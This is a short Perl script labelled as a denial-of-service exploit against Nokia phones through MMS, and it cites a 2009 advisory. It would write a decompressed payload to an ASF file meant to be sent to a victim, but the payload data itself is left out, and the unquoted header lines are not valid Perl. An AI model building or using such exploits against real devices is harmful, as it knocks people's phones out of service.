#!/usr/bin/perl

-----------------------------------------------------------------

Nokia MMS Exploit (DoS!!)

http://www.vupen.com/english/advisories/2009/1815

-----------------------------------------------------------------

use Compress::Zlib;

$x =

<skipped due to size limitation>

open (F, '>./xXx___sendme.asf');
print F uncompress($x);
close(F);